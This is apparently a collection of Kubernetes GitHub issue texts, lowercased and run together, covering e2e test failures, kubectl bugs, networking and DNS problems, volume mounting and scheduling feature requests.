0xc208b5acf0, 0xc209793d40          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/filter.go:21 +0xa2 k8s.io/kubernetes/pkg/apiserver.func·003 0xc208b5acf0, 0xc209793d40, 0xc208b5aff0         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:62 +0x8b github.com/emicklei/go-restful.  filterchain .processfilter 0xc208b5aff0, 0xc208b5acf0, 0xc209793d40          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/filter.go:19 +0x84 github.com/emicklei/go-restful.  container .dispatch 0xc20826e2d0, 0x7f14f5112dd0, 0xc209813698, 0xc208e05c70          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container   kube-controller-manager/v1.1.4  linux/amd64  kubernetes/a5949fe  127.0.0.1:43835       version is 1.1.4

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging-parallel/5265/  failed: kubectl client kubectl rolling-update should support rolling-update to same image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1029 expected error:     < errors.errorstring | 0xc208590150>: {         s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.198.222.127 --kubeconfig=/workspace/.kube/config rolling-update e2e-test-nginx-rc --update-period=1s --image=gcr.io/google_containers/nginx:1.7.9 --image-pull-policy=ifnotpresent --namespace=e2e-tests-kubectl-cg7z8      <nil> created e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293\ scaling up e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293 from 0 to 1, scaling down e2e-test-nginx-rc from 1 to 0  keep 1 pods available, don't exceed 2 pods \ scaling e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293 up to 1\ scaling e2e-test-nginx-rc down to 0\  w0706 13:36:15.680502    2859 request.go:627  throttling request took 97.653438ms, request: get:https://104.198.222.127/api/v1/namespaces/e2e-tests-kubectl-cg7z8/replicationcontrollers/e2e-test-nginx-rc\ w0706 13:36:15.880512    2859 request.go:627  throttling request took 154.551673ms, request: put:https://104.198.222.127/api/v1/namespaces/e2e-tests-kubectl-cg7z8/replicationcontrollers/e2e-test-nginx-rc\ error: timed out waiting for the condition\     <nil> 0xc208564cc0 exit status 1 <nil> true  0xc2083b2460 0xc2083b2480 0xc2083b24a0   0xc2083b2460 0xc2083b2480 0xc2083b24a0   0xc2083b2478 0xc2083b2498   0x968c80 0x968c80  0xc208337a40}:\ command stdout:\ created e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293\ scaling up e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293 from 0 to 1, scaling down e2e-test-nginx-rc from 1 to 0  keep 1 pods available, don't exceed 2 pods \ scaling e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293 up to 1\ scaling e2e-test-nginx-rc down to 0\ \ stderr:\ w0706 13:36:15.680502    2859 request.go:627  throttling request took 97.653438ms, request: get:https://104.198.222.127/api/v1/namespaces/e2e-tests-kubectl-cg7z8/replicationcontrollers/e2e-test-nginx-rc\ w0706 13:36:15.880512    2859 request.go:627  throttling request took 154.551673ms, request: put:https://104.198.222.127/api/v1/namespaces/e2e-tests-kubectl-cg7z8/replicationcontrollers/e2e-test-nginx-rc\ error: timed out waiting for the condition\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.198.222.127 --kubeconfig=/workspace/.kube/config rolling-update e2e-test-nginx-rc --update-period=1s --image=gcr.io/google_containers/nginx:1.7.9 --image-pull-policy=ifnotpresent --namespace=e2e-tests-kubectl-cg7z8      <nil> created e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293     scaling up e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293 from 0 to 1, scaling down e2e-test-nginx-rc from 1 to 0  keep 1 pods available, don't exceed 2 pods      scaling e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293 up to 1     scaling e2e-test-nginx-rc down to 0      w0706 13:36:15.680502    2859 request.go:627  throttling request took 97.653438ms, request: get:https://104.198.222.127/api/v1/namespaces/e2e-tests-kubectl-cg7z8/replicationcontrollers/e2e-test-nginx-rc     w0706 13:36:15.880512    2859 request.go:627  throttling request took 154.551673ms, request: put:https://104.198.222.127/api/v1/namespaces/e2e-tests-kubectl-cg7z8/replicationcontrollers/e2e-test-nginx-rc     error: timed out waiting for the condition         <nil> 0xc208564cc0 exit status 1 <nil> true  0xc2083b2460 0xc2083b2480 0xc2083b24a0   0xc2083b2460 0xc2083b2480 0xc2083b24a0   0xc2083b2478 0xc2083b2498   0x968c80 0x968c80  0xc208337a40}:     command stdout:     created e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293     scaling up e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293 from 0 to 1, scaling down e2e-test-nginx-rc from 1 to 0  keep 1 pods available, don't exceed 2 pods      scaling e2e-test-nginx-rc-7f4d255dc89b45d4c55ada1337972293 up to 1     scaling e2e-test-nginx-rc down to 0      stderr:     w0706 13:36:15.680502    2859 request.go:627  throttling request took 97.653438ms, request: get:https://104.198.222.127/api/v1/namespaces/e2e-tests-kubectl-cg7z8/replicationcontrollers/e2e-test-nginx-rc     w0706 13:36:15.880512    2859 request.go:627  throttling request took 154.551673ms, request: put:https://104.198.222.127/api/v1/namespaces/e2e-tests-kubectl-cg7z8/replicationcontrollers/e2e-test-nginx-rc     error: timed out waiting for the condition      error:     exit status 1  not to have occurred      previous issues for this test:  27328  27926

kube version:      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.3\ , gitcommit:\ 882d296a99218da8f6b2a340eb0e81c69e66ecc7\ , gittreestate:\ clean\ , builddate:\ \ , goversion:\ \ , compiler:\ \ , platform:\ \ }        details: - cloud provider: gcp - os distro: debian gnu/linux 7  wheezy  - network: as created by kube_up scripts default - docker version: docker version 1.9.1, build a34a1d5    steps to reproduce:  i added an ingress which failed to add the forwarding rules due to my gcp quota being exceeded. after the quota was increased, i would have expected the rule add to have been retried. i waited about 15-20 minutes and never saw a retry.  i restarted  deleted the pod  the ingress controller which resolved the issue and added the forwarding rule.  this is the describe from my ingress including the failed add after all was well...      events:   firstseen     lastseen        count   from                            subobjectpath   type       reason           message   ---------     --------        -----   ----                            -------------   --------   ------           -------   2d            22m             15347   {loadbalancer-controller }                      warning    gce :quota       googleapi: error 403: quota 'forwarding_rules' exceeded. limit: 15.0, quotaexceeded   51s           51s             1       {loadbalancer-controller }                      normal     add              storj-prod/bridge-gui      happy to provide any additional information that would be helpful upon request.  i'm aware that my kubectl version is ahead of my servers version... i have 1.3.0 in a separate environment and use the older kubectl bin if needed.

is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.5\ , gitcommit:\ 894ff23729bbc0055907dd3a496afb725396adda\ , gittreestate:\ clean\ , builddate:\ 2017-03-22t00:23:49z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.5\ , gitcommit:\ 894ff23729bbc0055907dd3a496afb725396adda\ , gittreestate:\ clean\ , builddate:\ 2017-03-22t00:17:51z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r this is fixed in 1.6.x due to a refactoring.\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : sles\r -   kernel    e.g.  uname -a  : linux 4.4.49-92.14\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r a  kubectl get sa  --namespace=kube-system \r name                     secrets   age\r default                  1         2h\r replication-controller   1         2h\r only shows the replications-controller service account.\r \r   what you expected to happen  :\r multiple service accounts for every controller.\r \r   how to reproduce it    as minimally and precisely as possible :\r use k8s 1.5.5, start controller-manager with  --use-service-account-credentials  and do   kubectl get sa  --namespace=kube-system \r \r   anything else we need to know  :\r as far i can reproduce the controller-manager use the clientbuilder for communication. in https://github.com/kubernetes/kubernetes/blob/v1.5.5/cmd/kube-controller-manager/app/controllermanager.go l170 the  rootclientbuilder   and the  clientbuilder  get created. \r https://github.com/kubernetes/kubernetes/blob/v1.5.5/cmd/kube-controller-manager/app/controllermanager.go l224 then references the wrong client builder   rootclientbuilder   instead of  clientbuilder  which is set when  --use-service-account-credentials   is active.\r \r this is fixed in 1.6.x due to a refactoring.\r

is there a way to specify api server ip for cluster-proportional-autoscaler-amd64 image?

xref https://github.com/kubernetes/test-infra/issues/4892 issuecomment-337113390: so when node ran out of processes, the pod goes into crashloop, however node is still marked as ready and trying to restart the pod.\r \r https://github.com/kubernetes/kubernetes/issues/43783 is related, but i think the node probably still need to be marked as unready and stop schedule pods there.\r \r k8s version: 1.7.6 on gke\r \r cc @yujuhong @dashpole \r 

currently if a user specifies multiple  -l    --selector   flags,  only the last one is used and the rest is ignored silently.\r \r repro steps:\r \r 1.  kubectl get pods -l foo=bar -l foo2=bar2 -v=10 \r 2. logs show:  get https://ip-address/api/v1/namespaces/default/pods?labelselector=foo2%3dbar2 \r 3. results bring pods that match  foo2=bar2  selector.  foo=bar  is ignored.\r \r this is unintuitive behavior. we should ideally fail the command saying multiple uses of this flag is not allowed, or combine them with an and operator and include all selectors specified in the actual query.\r \r currently, the -l/--selector flag's help message actually makes it clear that usage format is  -l key1=value1,key2=value2 , however i think specifying multiple instances of this flag should error out, instead of being silently ignored.\r \r similarly  kubectl run hello -l app=hello -l foo=quux --image=nginx  will only create pod labeled  foo=quux ,  and the  app=hello  option is   ignored  .\r \r   kubectl 1.8.2

\r \r hi,\r we are deploying kubernates 1.8 setup on aws private vpc which is having dhcp enabled with our ad running on aws ec2 instance. we are using route 53 subdomain.\r the setup complete but when we run the below command find the issiue with the dns resolution.\r command and error:\r $ kops validate cluster\r using cluster from kubectl context: test-cluster.example.com\r \r validating cluster test-cluster.example.com\r \r \r cannot get nodes for \ test-cluster.example.com\ : get https://api.test-cluster.example.com/api/v1/nodes: dial tcp xxx.xxx.xxx.xxx:443: i/o timeout

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r when a service of type externalname is setup, a test pod doing a dns lookup of that externalname gets no response in some cases. upon investigation, i found that failure happens if the test pod request is sent to kube-dns pod running on the same node. if the request is load-balanced and sent to a different kube-dns pod on another node, the lookup is successful. \r i do not see this problem with iptables mode.\r \r i think the error is because of the stage at which dnat happens in iptables vs ipvs. in iptables mode, the request with dest ip as the cluster ip of kubedns is dnat'ed in prerouting stage, so when route lookup happens, the destination has already changed to the pod ip.\r \r however in ipvs case, the dnat seems to be happening after the route lookup, so the packet hits the ebtables output chain which drops the packet. \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r rerunning this test - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ipvs/465 sig-network-dns-should-provide-dns-for-externalname-services\r the failure happens if the test pod doing the dns lookup talks to kube-dns pod running on the same node. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r upgraded kubectl to version 1.10.0 and now the flag  --dry-run -o yaml  on the creation of a docker-registry secret doesn't print out  kind: secret  resulting in the following error:\r \r    \r error: unable to decode \ /tmp/kubectl_replace_126922754/resource.stdin\ : object 'kind' is missing in '{\ data\ :{\ .dockerconfigjson\ :\ removed\ },\ metadata\ :{\ creationtimestamp\ :null,\ name\ :\ gitlab-registry\ ,\ namespace\ :\ monitor\ },\ type\ :\ kubernetes.io/dockerconfigjson\ }'\r    \r \r   what you expected to happen  :\r i expect the output to have a  kind: secret  attribute in the yaml output.\r \r   how to reproduce it  as minimally and precisely as possible   :\r here is an example you can run in bash of this not working:\r    \r kubectl create secret \\\r       docker-registry some-registry \\\r       --docker-server=\ test\  \\\r       --docker-username=\ test\  \\\r       --docker-password=\ test\  \\\r       --docker-email=\ test@test.com\  \\\r       -o yaml --dry-run\r    \r the output is:\r    \r data:\r   .dockerconfigjson: eyjhdxrocyi6eyj0zxn0ijp7invzzxjuyw1lijoidgvzdcisinbhc3n3b3jkijoidgvzdcisimvtywlsijoidgvzdeb0zxn0lmnvbsisimf1dggioijkr1z6zerwmfpytjaifx19\r metadata:\r   creationtimestamp: null\r   name: some-registry\r type: kubernetes.io/dockerconfigjson\r    \r \r my _exact_ shell code i'm running on the ci server is this\r    \r kubectl create secret -n \ $kube_namespace\  \\\r       docker-registry gitlab-registry \\\r       --docker-server=\ $ci_registry\  \\\r       --docker-username=\ $springboard_ci_username\  \\\r       --docker-password=\ $springboard_ci_password\  \\\r       --docker-email=\ $springboard_ci_email\  \\\r       -o yaml --dry-run | kubectl replace -n \ $kube_namespace\  --force -f -\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-27t00:13:02z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r 1.8.3 on aws managed with kops\r - os  e.g. from /etc/os-release :\r alpine linux on my ci server, macos on my main machine\r - kernel  e.g.  uname -a  :\r  darwin kernel version 17.4.0\r

some events like: pod status changes  pending/running/failed , node status changes  ready/schedulable , etc. can be recorded with more consistency by the apiserver  instead of spreading the logic and the messages across different components .  pros: - status changes are always logged  even when code changes in other components  - it's easier to create the correct transaction  see  6055   cons: - we lose the ability to identify the actor who made the change  anyway this is not preventing the components to log or record their own messages  - apiserver will probably have to read, compare old and new and generate the events  i don't think that apiserver is now reading the entities   @vmarmol any insight about this possible change?

config best practices  ../tree/fe6b15ba/docs/user-guide/config-best-practices.md  is at odds with  how we test examples currently  ../tree/fe6b15ba/examples/examples_test.go : the best practices expresses a desire to put multiple resources in a file, which makes sense, but  examples_test.go  expects each file to represent a single api type. this has a perverse effect on the examples  see  16320,  14256 .

see discussion: https://github.com/kubernetes/kubernetes/pull/19761 discussion_r53420265

there are a few prs in flight to use annotations to add extra features to the elbs that k8s sets up  dns, ssl, proxy protocol , and i've written up here what i think a consistent set of those annotations would be.  i think the prs that we have are pretty close to what we have here.     proxy protocol support: -  service.beta.kubernetes.io/aws-load-balancer-proxy-protocol=    this is required to get the client ip, but the service must be aware of the extra header bytes that are sent.  likely our ingress controllers will turn this on and then set an http x-forwarded-for header, and also some advanced services might set it also to indicate they \ speak proxy protocol\ .  cc @williamsandrew and cf  24569      ssl support at the elb: -  service.beta.kubernetes.io/aws-load-balancer-ssl-cert=arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012  -  service.beta.kubernetes.io/aws-load-balancer-ssl-ports=    or e.g.  https    if the user wants the elb to do ssl decryption, they should set these annotations.  ssl-cert specifies the certificate to use; ssl-ports specifies on which ports we should enable ssl.  ssl-ports can be optional and default to \  \ .  we need not implement ssl-ports right away, because the primary use for ssl and non-ssl is likely http and https for webservers, and they will likely use ingress, which will likely use sni instead.   but i do think some people will want direct-to-the-service http & https, so i bet we'll want it eventually..   cc @therc and cf  23495      dns support at the service level: -  service.beta.kubernetes.io/hostname=myservice.myzone.com   if set, kubernetes will configure a dns alias for the elb.  because this isn't specific to aws, i don't think it gets an \ aws-\  prefix.  cc @chbatey and @quinton-hoole and cf  21397     sharing / reusing an elb -  service.beta.kubernetes.io/load-balancer-secret=some-sort-of-secret-value   this allows an elb to be  safely?  shared between two k8s clusters.  if set, k8s will look for an elb with a tag derived from the secret.  if it finds one, it will use that elb, otherwise it will create one  and tag it .  in this way, two k8s clusters with services with the same tag will share an elb.  if the secret is kept reasonably secret then a user won't be able to \ steal\  someone else's elb  this will be more realistic when we have rbac etc .  cf  23483

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r none\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r i found the bug in both 1.4.7 and 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : centos\r -   kernel    e.g.  uname -a  :\r -   install tools  : kube-up.sh\r -   others  :\r \r \r   what happened  :\r \r your openstack templates for the flanneld service are using incorrect names of etc variables being set in the /etc/sysconfig/flanneld file.\r \r the flanneld.service file is looking for the variables to be named flannel_etcd_endpoints and flannel_etcd_prefix.\r \r the correct references are found in the snippets of the fragments below as follows: \r \r provision-network-master.sh\r cat <<eof > /etc/sysconfig/flanneld\r flannel_etcd_endpoints=\ ${flannel_etcd_url}\ \r flannel_etcd_prefix=\ /coreos.com/network\ \r flannel_options=\ -iface=eth0 --ip-masq\ \r eof\r \r provision-network-node.sh\r cat <<eof >/etc/sysconfig/flanneld\r flannel_etcd_endpoints=\ ${flannel_etcd_url}\ \r flannel_etcd_prefix=\ /coreos.com/network\ \r flannel_options=\ -iface=eth0 --ip-masq\ \r eof\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r

forked from: https://github.com/kubernetes/kubernetes/pull/42779 issuecomment-285425106\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign @m1093782566\r

 \r   what happened  :\r \r after launching metrics-server my kube api became unresponsive. with a lot of following in apiserver logs\r \r     nov 27 16:37:06 ns3033879.ip-51-255-71.eu docker 27628 : i1127 15:37:06.669483       1 controller.go:105  openapi aggregationcontroller: processing item v1beta1.metrics.k8s.io\r     nov 27 16:37:36 kubemaster docker 27628 : e1127 15:37:36.837123       1 controller.go:111  loading openapi spec for \ v1beta1.metrics.k8s.io\  failed with: failed to retrieve openapi spec, http error: responsecode: 503, body: error: 'dial tcp 10.12.185.191:443: i/o timeout'\r     nov 27 16:37:36 kubemaster docker 27628 : trying to reach: 'https://10.12.185.191:443/swagger.json', header: map  \r     nov 27 16:37:36 kubemaster docker 27628 : i1127 15:37:36.837147       1 controller.go:119  openapi aggregationcontroller: action for item v1beta1.metrics.k8s.io: rate limited requeue.\r \r  10.12.185.191  is the clusterip of metrics-server service. i assume i made some error bringing metrics-server to the cluster  upgraded from previous versions , but why would it brak apiserver ?\r \r     $ time kubectl --namespace kube-system get pod\r     ...\r     real    8m1.773s\r     user    0m0.212s\r     sys     0m0.020s\r \r managed to solve the issue by\r \r     kubectl --namespace kube-system delete apiservice v1beta1.metrics.k8s.io\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: baremetal

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r   what happened  :\r ipallocator in nodecontroller only support gce cloudprovider\r  \r   what you expected to happen  :\r should remove this constaint and let cloud provider to decide whether they would implement this feature\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r no \r https://github.com/kubernetes/kubernetes/blob/a505d1bc7854c0581fc8dcbc007ee0063d0fdfb3/pkg/controller/node/ipam/cloud_cidr_allocator.go l87

is this a bug report or feature request?  :\r  @kubernetes/sig-apps-bugs \r \r   what happened  :\r this was noticed in https://github.com/kubernetes/kubernetes/issues/56714 issuecomment-351631811\r \r sig-scalability's large-scale  density test  https://github.com/kubernetes/kubernetes/blob/ceda4c3/test/e2e/scalability/density.go l256-l277  created 50 rcs, each of them set to create 3000 pods at around 11:53.\r \r the following graph shows the cumulative number of \ created pod\  events in the controller-manager log. \r \r ! growth  https://user-images.githubusercontent.com/489420/33986223-417f9ee6-e0bd-11e7-91eb-6fdd79652ebb.png \r \r the test then waited until all pods are created  which was done at ~12:16 . then it waited until all pods scheduled  flat lines on the following graph .\r \r so far so good.\r \r the unexpected thing started at ~13:16, when the test started deleting rcs.\r \r some  but not all  rcs started creating massive amount of pods. as shown by the graph,  one reached 6000 nodes in total.\r \r   what you expected to happen  :\r \r no new pod creation events should happen when rcs are being deleted.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r some of deployment operations are not covered for  /v1/  /deployments/    api endpoints in e2e tests.\r \r   what you expected to happen  :\r expecting to cover all read, write, status and misc deployment operations in e2e tests so that these would be ready to be considered for conformance tests.\r \r  operations reference:-  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/ deployment-v1-apps \r \r api groups :\r \r http verbs | urls\r -- | --\r get | /apis/apps/v1/namespaces/{namespace}/deployments/{name}/scale\r patch | /apis/apps/v1/namespaces/{namespace}/deployments/{name}/scale\r put | /apis/apps/v1/namespaces/{namespace}/deployments/{name}/scale\r get | /apis/apps/v1/namespaces/{namespace}/deployments/{name}/status\r patch | /apis/apps/v1/namespaces/{namespace}/deployments/{name}/status\r put | /apis/apps/v1/namespaces/{namespace}/deployments/{name}/status\r delete | /apis/apps/v1/namespaces/{namespace}/deployments/{name}\r get | /apis/apps/v1/namespaces/{namespace}/deployments/{name}\r patch | /apis/apps/v1/namespaces/{namespace}/deployments/{name}\r put | /apis/apps/v1/namespaces/{namespace}/deployments/{name}\r delete | /apis/apps/v1/namespaces/{namespace}/deployments\r get | /apis/apps/v1/namespaces/{namespace}/deployments\r post | /apis/apps/v1/namespaces/{namespace}/deployments\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r a user reported their pvc was stuck in terminating even though the pod has already been deleted.  the pvc object shows the storage protection finalizer is still there.  unfortunately, the user deleted their cluster so the logs are not available.  \r \r   what you expected to happen  :\r we should have a stress test to try to reproduce the issue.\r

 /area security\r  / \r currently, an admin who has  preemption enabled  as they are by default  and has  resourcequotascopeselectors disabled  as they are by default  has no way to restrict regular users of kubernetes from creating as many system-node-critical and system-cluster-critical pods as they care to.  this can result in creating a denial-of-service if users abuse priorities in competition with each other.\r \r by 1.12, we could have resourcequotascopeselectors enabled by default and add a default restriction on the use of system-  priorities.  however, that kind of leaves 1.11 users in the lurch.  what can we do to restrict the ability of regular users to abuse system-  priorities that can be added to 1.11.1?\r \r /assign @bsalamat \r /cc @derekwaynecarr @vikaschoudhary16 @liggitt \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r bug report\r  \r   what happened  :\r port mappind does not work on windows server 2016 and 1709, with nat network. when deploying a container with port mapping, the port is available on the ip of the container, on the host node, but is not availbale on the ip of the host.\r the port is mapped to the kubelet/pause container, but it does not respond on requests.\r    \r container id        image                                                   command                  created             status              ports                    names\r 9e5f3bbf9983        myimage                                                 \ myimage...\              13 minutes ago      up 13 minutes       9001/tcp                 k8s_myimage_myimage-646698d54b-n2nlw_default_411dc01c-840a-11e8-a326-00155d201540_0\r d51faaaa7f78        kubeletwin/pause                                        \ cmd /s /c 'cmd /c...\    13 minutes ago      up 13 minutes       0.0.0.0:9001->9001/tcp   k8s_pod_myimage-646698d54b-n2nlw_default_411dc01c-840a-11e8-a326-00155d201540_0\r    \r you can see the port mappings are done on the \ kubeletwin/pause\  container, and it doesn't seem to communicate with \ myimage\  container.\r \r   what you expected to happen  :\r to be able to access the container on the host ip on the mapped port.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - only for windows server 2016 you need to remove the old nat network first  with the daemon.json present  :\r    \r stop-service docker\r get-containernetwork | remove-containernetwork -force\r start-service docker\r    \r - create a docker network called \ host\  using the \ nat\  driver\r      docker network create -d nat host \r - start the kubelet with \r      $env:container_network=\ host\ \r .\\kubelet.exe --hostname-override=$ hostname  --v=6 --pod-infra-container-image=\ kubeletwin/pause\  --resolv-conf=\ \  --kubeconfig config \r - deploy a container with port mappings\r \r   anything else we need to know?  :\r daemon.json looks like:\r    \r {\r  \t\ bridge\ :\ none\ ,\r  \t\ allow-nondistributable-artifacts\ :  \ ---hidden for security reasons ----:5001\  , \r  \t\ dns\ :  \ ---hidden for security reasons---\ , \ ---hidden for security reasons---\  \r  }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: on premisses\r - os  e.g. from /etc/os-release : windows server  2016, windows server 1709\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we are using the windows smb as a pv backend and kubernetes is running on linux, which is working if i mount the smb on linux machine and take that as a local mount point pv but not working if create pv directly using smb share.\r \r getting below error\r \r events:\r type reason age from message\r \r warning failedmount 3m32s  x540 over 20h  kubelet, release-server-01 unable to mount volumes for pod \ nginx-flex-smb_default 0f5a661e-da24-11e8-95ec-42010a8e0\r 008 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ nginx-flex-smb\ . list of unmounted volumes= flexvol-mount . list of unattached volu\r mes= flexvol-mount default-token-ktz22 \r \r i am using https://github.com/azure/kubernetes-volume-drivers/tree/master/flexvolume/smb to configure smb as a back for pv using flex volume

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r add a new predicate: max replicas limit per node \r \r \r   why is this needed  :\r i want to add a new predicate that supports this scene:\r when we deploy a statefulset, we need control the replicas number of statefulset. considered that the network, memory, disk io are limited. we could appoint the number of replicas to deploy in one node. anti-affinity could not help us control the accurate number clearly.\r \r <!-- do not edit below this line -->\r 

